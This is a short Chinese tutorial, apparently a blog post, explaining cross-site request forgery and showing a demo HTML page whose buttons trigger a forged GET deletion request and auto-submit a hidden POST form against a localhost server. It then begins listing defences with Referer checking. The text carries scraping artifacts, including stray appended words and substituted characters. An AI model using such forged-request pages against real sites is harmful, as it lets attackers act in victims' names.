前几天在考虑先后端认证方式时,想到了crsf攻击,由于以前都是只了解大概原理并无真正实现过,因此想写一个demo,实现一下。javascript
CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击同样,存在巨大的危害性,你能够这样来理解:
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来讲这个请求是彻底合法的,可是却完成了攻击者所指望的一个操做。
复制代码
假设用户登陆成功在浏览器留下认证的cookies,且执行了一些操做,如图:html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<button onclick="btn1()">csrf攻击get方法</button>
<button onclick="btn2()">csrf攻击post方法</button>
<form action="http://localhost:8080/bb" method="post" id="test">
<input style="display:none;" type="text" name="user" value="5"><br>
<input style="display:none;" type="text" name="pass" value="55">
</form>
<script> function btn1() { window.location.href = "http://localhost:8080/aa?ID=12345&delete=55" } function btn2() { const f = document.getElementById('test'); f.submit(); } </script>
</body>
</html>
复制代码
如此能够看到攻击成功,其余就是浏览器请求时自动把cookies带上,认证经过以后进行意外的操做。java
1.验证referer请求头:它记录了该 HTTP 请求的来源地址后端